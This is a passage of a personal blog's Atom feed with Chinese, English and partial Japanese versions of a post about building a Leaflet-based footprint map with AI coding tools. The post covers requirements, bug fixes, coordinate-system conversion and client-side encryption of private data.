id="一点感受"><a href="#一点感受" class="headerlink" title="一点感受"></a>一点感受</h3><p>从最近半年从事搞政务大屏系统的时候，我就开始有了想法，要搞个自己的地图。</p><p>一开始搞的时候，几个版本就把地图做出来了，但没想到不断使用的过程中，居然衍生改版了近20个版本出来。不过这也正常，从来没有什么是一个版本就可以把自己的需求描述完的。在使用中总是伴随着需求优化和bug处理。不过我还是比较惊讶AI的能力，整个过程不断在试探AI的能力边界，AI虽然磕磕绊绊，但最后总归还是都实现了。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/1001394788.html</id>
    <link href="https://misaka10013.cn/p/1001394788.html"/>
    <published>2026-08-19T01:20:00.000Z</published>
    <summary>
      <![CDATA[<p>在大概10年多前，我就已经在使用谷歌足迹地图，最早是在使用谷歌地球中觉得精确、细节拉满的谷歌地球很适合找到一些自己去过的地方并且标点记录。之后我在我的博客的“关于”页面，通过链接谷歌足迹地图的方式，在我的博客实现查看我的足迹。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure>

<p>但使用上也有一些痛点。例如谷歌地图一直被强，我更新足迹需要总是用梯子，所以更新频次很少。其次是谷歌卫星地图和地图道路、点位等信息在国内的部分有坐标偏差，查看起来很难看。经常我一个点位不知道按卫星地图给标记还是按街道位置进行标记。近几年，我也断断续续用过其他方案，例如百度地图或者高德收藏夹存地点。但每次想回顾”我去过哪些地方、在那里发生过什么”的时候，数据总是散落在各个 App 里，我要打开app去翻找，宁琅满目各种广告、贷款推荐，慢得很。</p>
<p>我想要的东西其实很简单：<strong>一张属于我自己的地图，每个点位是一段记忆，能写文字、能贴图、能按时间连成路线，数据永远在我手里。</strong></p>
<p>于是在AI的协助讨论和开发下，就有了这个项目——一个嵌入 Hexo 博客的纯前端足迹地图。这篇文章记录它从需求讨论到上线的完整过程，包括踩过的三个很有代表性的坑，以及留给以后的待办事项。</p>]]>
    </summary>
    <title>御坂个人足迹地图：从需求到AI开发上线</title>
    <updated>2026-09-23T09:04:54.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="项目作品" scheme="https://misaka10013.cn/categories/%E9%A1%B9%E7%9B%AE%E4%BD%9C%E5%93%81/"/>
    <category term="AI编程" scheme="https://misaka10013.cn/tags/AI%E7%BC%96%E7%A8%8B/"/>
    <category term="Leaflet" scheme="https://misaka10013.cn/tags/Leaflet/"/>
    <category term="项目复盘" scheme="https://misaka10013.cn/tags/%E9%A1%B9%E7%9B%AE%E5%A4%8D%E7%9B%98/"/>
    <content>
      <![CDATA[<p>More than ten years ago I was already using Google My Maps. It started with Google Earth — precise, absurdly rich in detail, and in my eyes perfectly suited to hunting down the places I had been to and pinning them down as a record. Later I linked that My Maps map from the “About” page of my blog, and that was how my footprints became viewable on my own site.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p>But using it came with pain points. For one thing, Google Maps has always been blocked in China, so every time I wanted to update my footprints I had to be on a VPN — which is exactly why I updated it so rarely. For another, Google’s satellite imagery and its roads and points of interest are offset from each other inside China, so it just looks bad. Time and again I’d be staring at a spot, unable to decide whether to place the marker against the satellite image or against the street layout. In recent years I’ve also dabbled with other options, like saving places into Baidu Maps or Amap favourites. But whenever I wanted to look back and ask “where have I been, and what happened there?”, the data was scattered across a pile of apps. I’d have to open one app after another and dig, wading past walls of ads and loan offers. Maddeningly slow.</p><p>What I actually wanted was very simple: <strong>a map that belongs to me — every marker a memory, where I can write text, attach images, string points into routes in time order, and where the data always stays in my hands.</strong></p><p>So, with AI helping me both to think it through and to build it, this project came into being: a pure front-end footprint map embedded in my Hexo blog. This post records the whole journey from requirements discussion to launch — including three very representative pitfalls, and the to-dos I left for my future self.</p><span id="more"></span><h2 id="1-Aligning-on-Requirements-Two-Rounds-of-Discussion-with-Yuanbao"><a href="#1-Aligning-on-Requirements-Two-Rounds-of-Discussion-with-Yuanbao" class="headerlink" title="1. Aligning on Requirements: Two Rounds of Discussion with Yuanbao"></a>1. Aligning on Requirements: Two Rounds of Discussion with Yuanbao</h2><p>I didn’t hand this project straight to an AI and tell it to start coding. I first went to Yuanbao to talk the requirements through, letting the AI keep asking me questions over several rounds until my own needs were actually pinned down. That process also forced me to think my own ideas straight.</p><p>Yuanbao and I started from a vague notion — “I want to record the footprints of my life” — and gradually converged on a core feature set: map markers, a category system (routes &#x2F; good food &#x2F; good drinks &#x2F; fun &#x2F; scenery &#x2F; points of interest), Markdown popups with text and images, a route mode ordered by time, group filtering, and data import&#x2F;export.</p><p>When we were done, Yuanbao produced <strong>two documents</strong> for me:</p><table><thead><tr><th>Document</th><th>Audience</th><th>Focus</th></tr></thead><tbody><tr><td>Requirements &amp; Functional Design</td><td>Humans</td><td>The “what” and the “why”, plus interaction rules</td></tr><tr><td>AI Developer Handover Doc</td><td>An AI developer</td><td>Data model, priorities (P0&#x2F;P1&#x2F;P2), acceptance checklist, development constraints</td></tr></tbody></table><p>The first document is essentially a user-facing description of the requirements; the second is a development guide aimed at AI. In practice, though, I came to feel it’s better not to let the AI doing the actual work be completely steered by that second document. Different AIs think differently, for one thing. And an AI in the middle of implementation, working alongside a human tester, will always run into places where the original technical design doesn’t match the way things really work.</p><p>The reason I thought of hashing out the plan with AI first is that in my own work on government IT systems, I’m constantly sitting with clients in front of a prototype, discussing back and forth — and that’s how requirements actually get nailed down. It matters. Skip it, and the build phase turns into endless rework. AI may not get tired and can iterate forever, but with <strong>vague requirements</strong>, my tokens and my time are real costs. The more precisely the direction is described at the document stage, the higher the odds the AI picks the right approach, and the fewer rounds of bickering.</p><p>I think that when you talk to the person doing the work, every word has to count. Explaining ideas to an AI is genuinely good practice for the collaboration and communication side of the job. I’ve also lived through projects that dragged on, accumulated more and more user interaction, and ended up in a heap of problems. With AI-assisted programming, the scariest scenario, I think, is this: you finally have something that’s basically perfect, then you ask the AI to fix a bug and it destroys the features that were already working. Ha. Which is why, during development, I kept telling the AI to mind the backups at every version.</p><p>Before starting, I also talked things over with AI and hunted down similar existing solutions to use as references, so we weren’t inventing wheels out of thin air. We borrowed architectural ideas from three projects: MarkdownMap, leaflet-search and Exping.</p><p>The build principles were basically settled up front:</p><ul><li><strong>Pure front-end</strong>: no backend, no database; static hosting is enough to run it</li><li><strong>Data ownership</strong>: everything lives in JSON files, exportable at any time, never locked in</li><li><strong>Single-file delivery</strong>: all CSS and JS inlined into one <code>index.html</code> — drop it into <code>source/map/</code> and you’re done</li></ul><h2 id="2-Development-Six-Rounds-of-Iteration-with-WorkBuddy"><a href="#2-Development-Six-Rounds-of-Iteration-with-WorkBuddy" class="headerlink" title="2. Development: Six Rounds of Iteration with WorkBuddy"></a>2. Development: Six Rounds of Iteration with WorkBuddy</h2><p>Once the docs went to WorkBuddy, we had six versions out in no time. Here’s the iteration in a table:</p><table><thead><tr><th>Version</th><th>Main content</th><th>Nature</th></tr></thead><tbody><tr><td>v1</td><td>Implement everything per the handover doc</td><td>Initial</td></tr><tr><td>v2</td><td>Inline the external dependencies for reliability</td><td>Optimization</td></tr><tr><td>v3</td><td>Tune the data structures</td><td>Optimization</td></tr><tr><td>v4</td><td>Fix “popup can’t be reopened after closing”</td><td>Bug fix</td></tr><tr><td>v5</td><td>Fix the search dropdown being occluded + Enter to select + OSM&#x2F;Carto basemaps</td><td>Bug fix + spin-off</td></tr><tr><td>v6</td><td>Replace the layer cycle button with a dropdown + Esri satellite basemap</td><td>Spin-off requirement</td></tr></tbody></table><p>The early versions (v1–v3) went unexpectedly smoothly — the handover doc was detailed enough that the AI basically got it right in one pass, and the vast majority of the acceptance checklist passed outright. The real time went into the last three rounds, where I was the one testing in real use, hunting bugs, and judging whether the thing actually met my needs.</p><h2 id="3-Pitfall-Log"><a href="#3-Pitfall-Log" class="headerlink" title="3. Pitfall Log"></a>3. Pitfall Log</h2><h3 id="Pitfall-1-The-popup-that-couldn’t-be-reopened-v4"><a href="#Pitfall-1-The-popup-that-couldn’t-be-reopened-v4" class="headerlink" title="Pitfall 1: The popup that couldn’t be reopened (v4)"></a>Pitfall 1: The popup that couldn’t be reopened (v4)</h3><p><strong>Symptom</strong>: click a marker and the popup opens fine. Click the ✕ in its top-right corner to close it, then click the same marker again — the popup absolutely refuses to appear. Refresh the page and it opens once more.</p><p>This bug is particularly deceptive: “it opens the first time” means the open path is fine; “it won’t open after closing” means the close operation dirtied something. My job was to reproduce the fault and gather the logs through different operations; finding the cause was the AI’s job.<br>The AI dug down into Leaflet’s source. Leaflet’s <code>Marker._openPopup</code> has a toggle inside it:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">_openPopup</span>: <span class="keyword">function</span> (<span class="params">t</span>) &#123;</span><br><span class="line">  ...</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">_map</span>.<span class="title function_">hasLayer</span>(<span class="variable language_">this</span>.<span class="property">_popup</span>)</span><br><span class="line">    ? <span class="variable language_">this</span>.<span class="title function_">closePopup</span>()   <span class="comment">// already open → close (toggle behaviour)</span></span><br><span class="line">    : <span class="variable language_">this</span>.<span class="title function_">openPopup</span>(t.<span class="property">latlng</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Meanwhile, the click handler the AI had custom-written for my requirements and Leaflet’s own internal handler were <strong>listening for clicks at the same time</strong>. The two conflicted. A case of borrowing a third-party library and importing trouble along with it. So no, you can’t just be a copy-paste engineer. Ha.</p><h2 id="4-Spin-off-Requirements-Improving-It-Through-Use"><a href="#4-Spin-off-Requirements-Improving-It-Through-Use" class="headerlink" title="4. Spin-off Requirements: Improving It Through Use"></a>4. Spin-off Requirements: Improving It Through Use</h2><p>These three features weren’t in the original requirements document — they came out of pain points I hit while actually using the thing:</p><ol><li><strong>Foreign basemaps.</strong> It originally used Amap tiles, which look fine inside China, but the moment I wanted to mark a place abroad and zoomed in, it was blank. So I added OSM and Carto’s light basemap for overseas coverage, plus Esri satellite — a complete set of “domestic + foreign, standard + satellite”.</li><li><strong>A layer dropdown.</strong> Once the basemaps went from two to five, the old “cycle” button became idiotic — getting to Esri satellite meant clicking four times. So it became a dropdown.</li><li><strong>Enter to select in search.</strong> While chasing down the occluded-dropdown problem, I noticed I kept instinctively hitting Enter to confirm a search, so I asked the AI to add it.</li></ol><h2 id="5-Privacy-A-Decision-Deferred"><a href="#5-Privacy-A-Decision-Deferred" class="headerlink" title="5. Privacy: A Decision Deferred"></a>5. Privacy: A Decision Deferred</h2><p>Before launch, something occurred to me: this page needs no login. Convenient for me — but <strong>equally convenient for anyone else to see all of my footprints</strong>: where I’ve been, when I went, and what I wrote.</p><p>I was torn between two options: put a password lock on the page, or let the page load normally but require verification before the data loads. After discussing it with the AI, though, we couldn’t come up with a good answer right away: static hosting means no backend, so any “front-end password check” is just a fig leaf — <strong>bypass the page, hit the <code>data.json</code> URL directly, and the plaintext downloads just the same</strong>.</p><p>The genuinely effective answer is a third one: <strong>encrypt <code>data.json</code> itself with AES-256-GCM, with the password living only in my head</strong>. The browser decrypts it to render and encrypts on export; anyone who downloads the file just gets noise. But I also wanted to keep the map’s ability to be shared and shown off. And for the moment I hadn’t figured out how to do both.</p><h2 id="6-Launch-Deployment"><a href="#6-Launch-Deployment" class="headerlink" title="6. Launch &amp; Deployment"></a>6. Launch &amp; Deployment</h2><p>Deployment was simple: copy the whole <code>source/map/</code> folder (<code>index.html</code> + <code>data.json</code> + <code>README.md</code>, three files in total) into the production repo, <code>git push</code>, and CNB’s cloud build takes care of everything that follows.</p><p>Once live, it’s reachable at <code>https://misaka10013.cn/map/</code>.</p><p>The whole tech stack, summed up in one sentence: <strong>Leaflet.js handles the map, marked.js handles Markdown rendering, localStorage handles persistence, vanilla JS + inlined CSS handle every interaction — zero frameworks, zero backend, zero build step.</strong></p><h2 id="7-Open-Questions-and-To-Dos-Notes-to-Future-Me"><a href="#7-Open-Questions-and-To-Dos-Notes-to-Future-Me" class="headerlink" title="7. Open Questions and To-Dos (Notes to Future Me)"></a>7. Open Questions and To-Dos (Notes to Future Me)</h2><p>Recording what’s unfinished here, so that when I stumble back onto this post later I’ll know where to pick up:</p><table><thead><tr><th>Item</th><th>Notes</th><th>Priority</th></tr></thead><tbody><tr><td>Encrypt data.json</td><td>AES-256-GCM + PBKDF2, decrypted and rendered client-side; exports encrypted the same way</td><td>High</td></tr><tr><td>Entry point to the map</td><td>Nothing in the navigation or in any post links to &#x2F;map&#x2F; yet; reachable only by typing the URL (which is a layer of obscurity, arguably)</td><td>Low</td></tr></tbody></table><h2 id="Afterword"><a href="#Afterword" class="headerlink" title="Afterword"></a>Afterword</h2><p>Looking back over the whole project, my process was: <strong>Yuanbao converged the requirements and produced the documents, WorkBuddy did the coding, and I did the real-world testing and made the directional calls.</strong> Of the three roles, AI took two; pointing the direction and judging the quality stayed with me.</p><hr><h2 id="Update-Log-2026-09-23-v7-→-v20-After-Launch"><a href="#Update-Log-2026-09-23-v7-→-v20-After-Launch" class="headerlink" title="Update Log (2026-09-23): v7 → v20 After Launch"></a>Update Log (2026-09-23): v7 → v20 After Launch</h2><p>The post above wrapped up when v6 shipped. But once I actually used it, I realised <strong>shipping was only the beginning</strong>. Over the following month or so I kept iterating with AI, a dozen-plus versions, sanding down a set of detail problems. This update catches the rest up.</p><h3 id="v7-v9-Real-Data-Arrives-Three-Pitfalls-in-a-Row"><a href="#v7-v9-Real-Data-Arrives-Three-Pitfalls-in-a-Row" class="headerlink" title="v7 ~ v9: Real Data Arrives, Three Pitfalls in a Row"></a>v7 ~ v9: Real Data Arrives, Three Pitfalls in a Row</h3><p>The first move after launch was moving my real footprint data in. The pipeline: export KML from Google Maps Takeout → script it into Excel (with me going through the categories by hand) → have AI write a script to batch-convert it into <code>data.json</code> → import it into the footprint page. 276 markers, spanning 2018 to 2019.</p><p>The moment data came in, three problems blew up at once:</p><table><thead><tr><th>Version</th><th>Problem</th><th>Root cause</th></tr></thead><tbody><tr><td>v7</td><td>Every marker name showed <code>undefined</code>, edit boxes blank</td><td>The imported data used a <code>name</code> field for marker names while the page code read <code>m.title</code>; had AI fix it</td></tr><tr><td>v7</td><td>After saving an edit, the popup’s close button stopped working</td><td>Saving rebuilt the marker, but the new popup never had its events rebound. AI’s bug</td></tr><tr><td>v8</td><td>Changed a marker’s time; the route numbering didn’t budge</td><td>Date format problem</td></tr><tr><td>v9</td><td>The same point sat hundreds of metres apart on Amap vs Esri</td><td>Coordinate system mismatch</td></tr></tbody></table><p>That v7 field mismatch: <strong>the data and the page code each used their own field names.</strong> I hadn’t expected AI to be capable of a slip like that. It can write code, but sometimes it makes elementary mistakes — it smells like a context-memory problem. With a little test data you’d never notice; with a lot of data, bugs detonate.</p><h4 id="Pitfall-4-The-“half-a-format”-date-v8"><a href="#Pitfall-4-The-“half-a-format”-date-v8" class="headerlink" title="Pitfall 4: The “half a format” date (v8)"></a>Pitfall 4: The “half a format” date (v8)</h4><p><strong>Symptom</strong>: I changed a marker’s date, saved, and the route numbering didn’t move a millimetre. Export the JSON, re-import it — the order was still exactly as before. The reasons:</p><ol><li>The time exported from KML is <code>&quot;2018-01-01&quot;</code> — date only, no hours or minutes</li><li>Meanwhile the page’s <code>&lt;input type=&quot;datetime-local&quot;&gt;</code> <strong>only accepts</strong> the complete <code>YYYY-MM-DDTHH:MM</code> form. Given <code>&quot;2018-01-01&quot;</code> it <strong>doesn’t error, doesn’t warn — it just quietly shows blank</strong></li><li>I opened the edit popup, saw an empty time field, assumed “it was never filled in”, changed some other field and hit save</li><li>The save logic wrote the empty value back — <code>m.time = &#39;&#39;</code> — <strong>I had wiped that time out with my own hands</strong></li><li>The route feature has a filter condition, <code>m.time &amp;&amp; m.time !== &#39;&#39;</code>, so a marker with an empty time is excluded from the route list entirely — meaning “the numbering didn’t change” was really “this marker doesn’t take part in sorting any more”</li></ol><p><strong>Fix</strong>: sweep all the marker data and backfill the times uniformly in <code>YYYY-MM-DD 00:00</code> format.</p><h4 id="Pitfall-5-Coordinate-systems-—-the-hurdle-no-map-project-escapes-v9"><a href="#Pitfall-5-Coordinate-systems-—-the-hurdle-no-map-project-escapes-v9" class="headerlink" title="Pitfall 5: Coordinate systems — the hurdle no map project escapes (v9)"></a>Pitfall 5: Coordinate systems — the hurdle no map project escapes (v9)</h4><p><strong>Symptom</strong>: domestic map clarity is genuinely mediocre, so I added OSM, Carto and Esri as foreign basemaps — and switching over, I ran straight into the same problem Google’s POIs had given me years earlier. Every marker was off — by a few hundred metres inside China. It’s something I see constantly in the government systems we build, too: pins that won’t line up because the coordinate systems differ.</p><p><strong>Root cause</strong>: domestic map services (Amap, Baidu, Tencent) use <strong>GCJ-02</strong> — the “Mars coordinate system”, a non-linear offset added under legal requirement — while foreign services (OSM, Esri, Carto) use <strong>WGS-84</strong>. The same pair of numbers does not point at the same place in the two systems. Fortunately, who uses what and by how much is a known quantity, so the problem had a solution.</p><blockquote><p><strong>Store everything in GCJ-02</strong> (natively matching the domestic basemaps I use most), and check the current basemap before rendering — if it’s a WGS-84 international basemap, back-convert the coordinates to WGS-84 and place them there; conversely, when I add or locate a point on the page, convert the displayed WGS-84 coordinates back to GCJ-02 before saving.</p></blockquote><h3 id="v10-v13-Breaking-Up-the-277KB-Single-File"><a href="#v10-v13-Breaking-Up-the-277KB-Single-File" class="headerlink" title="v10 ~ v13: Breaking Up the 277KB Single File"></a>v10 ~ v13: Breaking Up the 277KB Single File</h3><p>I noticed the code for my footprint map was getting bigger and bigger, yet the AI kept everything in a single file — styles and JS included. Every version iteration meant the AI had to read the entire file, the context window would quickly fill up, and the AI would go noticeably dumber. That meant the project was no longer small; the complexity had gone up. It clearly needed to be split: HTML, JS and CSS all separated.</p><table><thead><tr><th>Version</th><th>Requirement</th><th>Result</th></tr></thead><tbody><tr><td>v10</td><td>Filter markers by time range (trim markers and tracks together)</td><td>Added All &#x2F; Last 1 year &#x2F; Last 3 years &#x2F; Custom, defaulting to the last 1 year</td></tr><tr><td>v11</td><td>The AI could no longer handle the single file</td><td>Split 277KB into <code>index.html</code> (4.7KB) + <code>app.js</code> + <code>style.css</code></td></tr><tr><td>v12</td><td>Keep splitting and optimizing the 200KB+ app.js</td><td><strong>78% of it was third-party libraries</strong> — pulled them out into <code>vendor/</code>, so the AI no longer has to read library JS every time it looks at its own logic; business code down to <strong>56.6KB &#x2F; 1634 lines</strong></td></tr><tr><td>v13</td><td>Got a Tianditu key, added a cleaner domestic satellite source</td><td>Added the Tianditu satellite basemap (imagery + Chinese label overlay)</td></tr></tbody></table><p>The v12 situation is worth noting: once a project keeps going and grows in scale, it will easily exceed what an AI can handle. Splitting and decoupling are the way to go.</p><h3 id="v14-v20-From-“Fig-Leaf”-to-Real-Encryption"><a href="#v14-v20-From-“Fig-Leaf”-to-Real-Encryption" class="headerlink" title="v14 ~ v20: From “Fig Leaf” to Real Encryption"></a>v14 ~ v20: From “Fig Leaf” to Real Encryption</h3><p>This is the main thread of the most recent iteration, and the eventual landing of that “deferred decision” from section 5. The approach changed three times:</p><table><thead><tr><th>Version</th><th>Approach</th><th>Why it was rejected</th></tr></thead><tbody><tr><td>v14</td><td><strong>Whole-page lock</strong>: password required to enter the page</td><td>It can’t actually stop anyone from downloading <code>data.json</code> directly — it only deters computer novices. Under this approach, some semi-private markers that were worth sharing with others also became invisible</td></tr><tr><td>v15~v16</td><td><strong>Marker-level privacy</strong>: a “private” flag on each marker, hidden until unlocked</td><td>Only hides what should be hidden. But the data remained plaintext — <strong>the interface simply didn’t show it</strong>; anyone who understands the web can explore the page’s architecture and download <code>data.json</code> to get every private marker</td></tr><tr><td>v19</td><td><strong>Real encryption</strong>: public markers in plaintext + private ones as a single ciphertext block</td><td>The approach we finally settled on after brainstorming</td></tr></tbody></table><h4 id="v19-Encryption-Ships"><a href="#v19-Encryption-Ships" class="headerlink" title="v19: Encryption Ships"></a>v19: Encryption Ships</h4><p>I finally finished the real-encryption approach. In one sentence: <strong>download <code>data.json</code> and all you get is noise.</strong></p><ul><li><strong>Hybrid single file</strong>: public markers stay plaintext (the page opens normally, public points display normally), while private markers are <strong>encrypted as one whole array into a single ciphertext block</strong> — you can’t even tell how many private footprint markers there are</li><li><strong>Algorithm</strong>: PBKDF2-SHA256 with 600,000 iterations to derive the key → AES-256-GCM (12-byte random IV, 128-bit auth tag)</li></ul><h3 id="Updated-To-Dos-Notes-to-Future-Me"><a href="#Updated-To-Dos-Notes-to-Future-Me" class="headerlink" title="Updated To-Dos (Notes to Future Me)"></a>Updated To-Dos (Notes to Future Me)</h3><table><thead><tr><th>Item</th><th>Status</th></tr></thead><tbody><tr><td><del>Encrypt data.json</del></td><td>✅ Done (v19)</td></tr><tr><td><del>Entry point to the map</del></td><td>✅ Back button added (v17); a link from a post still to come</td></tr></tbody></table><h3 id="Some-Closing-Thoughts"><a href="#Some-Closing-Thoughts" class="headerlink" title="Some Closing Thoughts"></a>Some Closing Thoughts</h3><p>The idea of building a map of my own took shape about half a year ago, back when I was working on government dashboard systems.</p><p>When I started, the map was up within a few versions. What I never expected was that, through continued use, it would spawn close to twenty versions. Though that’s normal enough — no single version can ever describe your requirements completely. Use always brings requirement refinements and bug fixes. Still, I’m fairly amazed by what AI can do. The whole way through I was probing the edges of its capability; it stumbled plenty, but in the end it delivered everything.</p>]]>
    </content>
    <id>https://misaka10013.cn/en/p/1001394788.html</id>
    <link href="https://misaka10013.cn/en/p/1001394788.html"/>
    <published>2026-08-19T01:20:00.000Z</published>
    <summary>
      <![CDATA[<p>More than ten years ago I was already using Google My Maps. It started with Google Earth — precise, absurdly rich in detail, and in my eyes perfectly suited to hunting down the places I had been to and pinning them down as a record. Later I linked that My Maps map from the “About” page of my blog, and that was how my footprints became viewable on my own site.</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure>

<p>But using it came with pain points. For one thing, Google Maps has always been blocked in China, so every time I wanted to update my footprints I had to be on a VPN — which is exactly why I updated it so rarely. For another, Google’s satellite imagery and its roads and points of interest are offset from each other inside China, so it just looks bad. Time and again I’d be staring at a spot, unable to decide whether to place the marker against the satellite image or against the street layout. In recent years I’ve also dabbled with other options, like saving places into Baidu Maps or Amap favourites. But whenever I wanted to look back and ask “where have I been, and what happened there?”, the data was scattered across a pile of apps. I’d have to open one app after another and dig, wading past walls of ads and loan offers. Maddeningly slow.</p>
<p>What I actually wanted was very simple: <strong>a map that belongs to me — every marker a memory, where I can write text, attach images, string points into routes in time order, and where the data always stays in my hands.</strong></p>
<p>So, with AI helping me both to think it through and to build it, this project came into being: a pure front-end footprint map embedded in my Hexo blog. This post records the whole journey from requirements discussion to launch — including three very representative pitfalls, and the to-dos I left for my future self.</p>]]>
    </summary>
    <title>Misaka's Personal Footprint Map: From Requirements to AI-Powered Launch</title>
    <updated>2026-09-24T01:33:17.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="项目作品" scheme="https://misaka10013.cn/categories/%E9%A1%B9%E7%9B%AE%E4%BD%9C%E5%93%81/"/>
    <category term="AI编程" scheme="https://misaka10013.cn/tags/AI%E7%BC%96%E7%A8%8B/"/>
    <category term="Leaflet" scheme="https://misaka10013.cn/tags/Leaflet/"/>
    <category term="项目复盘" scheme="https://misaka10013.cn/tags/%E9%A1%B9%E7%9B%AE%E5%A4%8D%E7%9B%98/"/>
    <content>
      <![CDATA[<p>もう10年以上前から、私は Google マイマップを使っていた。きっかけは Google Earth だ。精細で情報量が多く、「自分が行ったことのある場所を探し出して、記録としてピンを立てる」のにぴったりだと感じた。その後、ブログの「About」ページにマイマップのリンクを貼り、自分のブログ上で足跡を見られるようにした。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;iframe src=&quot;https://www.google.com/maps/d/embed?mid=1FnQqdlXYFoEnO6WvZ8QEHj9RYHg&quot; width=&quot;100%&quot; height=&quot;600&quot;&gt;&lt;/iframe&gt;</span><br></pre></td></tr></table></figure><p>だが使ううちに不満も出てきた。まず、Google マップは中国本土ではずっとブロックされていて、足跡を更新するたびに VPN が要る。だから更新の頻度はごく低かった。次に、Google の衛星画像と道路・地点などの情報は中国国内では座標がずれていて、見た目がよくない。ある地点を、衛星画像に合わせて打つのか、街路の位置に合わせて打つのか、いつも迷ってしまう。ここ数年は、百度地図や高徳地図（Amap）のお気に入りに地点を保存するといった方法も細々と試してきた。しかし「自分はどこへ行き、そこで何があったか」を振り返ろうとするたび、データは各アプリに散らばっていて、アプリを開いて探し回るしかない。画面いっぱいの広告やローン勧誘をかき分けながらでは、とにかく遅い。</p><p>私が欲しかったものは、実はとてもシンプルだ。<strong>自分だけの地図。ひとつのピンがひとつの記憶で、文章が書けて、画像が貼れて、時間順に線でつながる。そしてデータは永遠に自分の手元にある。</strong></p><p>そこで、AI と相談しながら開発したのがこのプロジェクト——Hexo ブログに埋め込む、純フロントエンドの足跡マップだ。この記事では、要件の議論から公開までの流れを、代表的な3つの落とし穴と、未来の自分への TODO とともに記録する。</p><span id="more"></span><h2 id="一、要件のすり合わせ：元宝（Yuanbao）との2ラウンドの議論"><a href="#一、要件のすり合わせ：元宝（Yuanbao）との2ラウンドの議論" class="headerlink" title="一、要件のすり合わせ：元宝（Yuanbao）との2ラウンドの議論"></a>一、要件のすり合わせ：元宝（Yuanbao）との2ラウンドの議論</h2><p>このプロジェクトでは、いきなり AI にコードを書かせたりはしなかった。まず元宝（Yuanbao）と要件について話し、何度ものやり取りの中で AI にひたすら問いを投げてもらい、自分の要件を掘り下げていった。この過程は、自分の考えを整理することでもあった。</p><p>元宝と私は「人生の足跡を記録したい」という漠然とした思いから始め、少しずつ核となる機能に収束させていった。地図上のマーカー、分類体系（道のり／美味しいもの／美味しい飲み物／遊び／風景／興味ある地点）、Markdown の画像付きポップアップ、時間順に並べるルートモード、グループ絞り込み、データのインポート・エクスポート。</p><p>話し終えると、元宝は<strong>2つのドキュメント</strong>を産出してくれた。</p><table><thead><tr><th>ドキュメント</th><th>対象</th><th>重点</th></tr></thead><tbody><tr><td>要件・機能設計ドキュメント</td><td>人間が読む</td><td>「何を作るか」「なぜ作るか」、インタラクションのルール</td></tr><tr><td>AI 開発者向け引き継ぎドキュメント</td><td>AI 開発者</td><td>データモデル、優先度（P0&#x2F;P1&#x2F;P2）、受け入れチェックリスト、開発上の制約</td></tr></tbody></table><p>1つ目はユーザー向けの要件記述、2つ目は AI 開発向けの実践ガイドにあたる。ただ、実際に使ってみて思ったのは、手を動かす AI を2つ目のドキュメントに完全に従わせないほうがいい、ということだ。AI ごとに思考力が違うこともある。それに、実際の作業の中で AI が人間のテストと組み合わさると、最初の技術設計と現実との不一致が必ず見つかるものだ。</p><p>最初に AI と方針を話そうと思ったのは、私自身が行政システムの仕事の中で、顧客とプロトタイプを前に延々と議論する機会が多いからだ。これが要件を掴むために非常に重要で、やらないと後工程が無限の作り直しになる。AI 開発は、AI が疲れないので何度でも作り直せる。だが<strong>要件が曖昧</strong>なら、私のトークンと時間もコストだ。最初の段階で、要件ドキュメントのレベルで方向をできるだけ正確に書いておけば、AI が正しい実装方針にたどり着く確率が最も高くなり、押し問答の回数も減る。</p><p>作業する相手と話すときは、言葉を効率的に使うべきだ。AI に考えを説明するのは、仕事の協働と伝達を鍛える良い練習になる。それに、プロジェクトが長引き、ユーザーとのやり取りが増えた挙げ句、かえって問題だらけになった経験も私にはある。AI と協働してプログラミングする場合、一番恐ろしいのはこれだと思う——せっかくほぼ完璧な作品を作り上げたのに、あとで AI にバグを直させたら、それまでの機能を壊してしまった、という展開。ははは。だから開発中は、AI に「各バージョンのバックアップに気をつけろ」と何度も言っておいた。</p><p>開発前には、AI と話し合い、似た事例も探して開発の参考にした。車輪の再発明を減らすためだ。MarkdownMap、leaflet-search、Exping の3プロジェクトのアーキテクチャの考え方を参考にした。</p><p>初期の構築方針はほぼ固まった。</p><ul><li><strong>純フロントエンド</strong>：バックエンドなし、データベースなし。静的ホスティングだけで動く</li><li><strong>データの自律</strong>：すべてのデータは JSON ファイル。いつでもエクスポートでき、決して囲い込まれない</li><li><strong>単一ファイル納品</strong>：CSS と JS をすべて1つの <code>index.html</code> にインライン化し、<code>source/map/</code> に放り込めば使える</li></ul><h2 id="二、開発実施：WorkBuddy-との6ラウンドの反復"><a href="#二、開発実施：WorkBuddy-との6ラウンドの反復" class="headerlink" title="二、開発実施：WorkBuddy との6ラウンドの反復"></a>二、開発実施：WorkBuddy との6ラウンドの反復</h2><p>ドキュメントを WorkBuddy 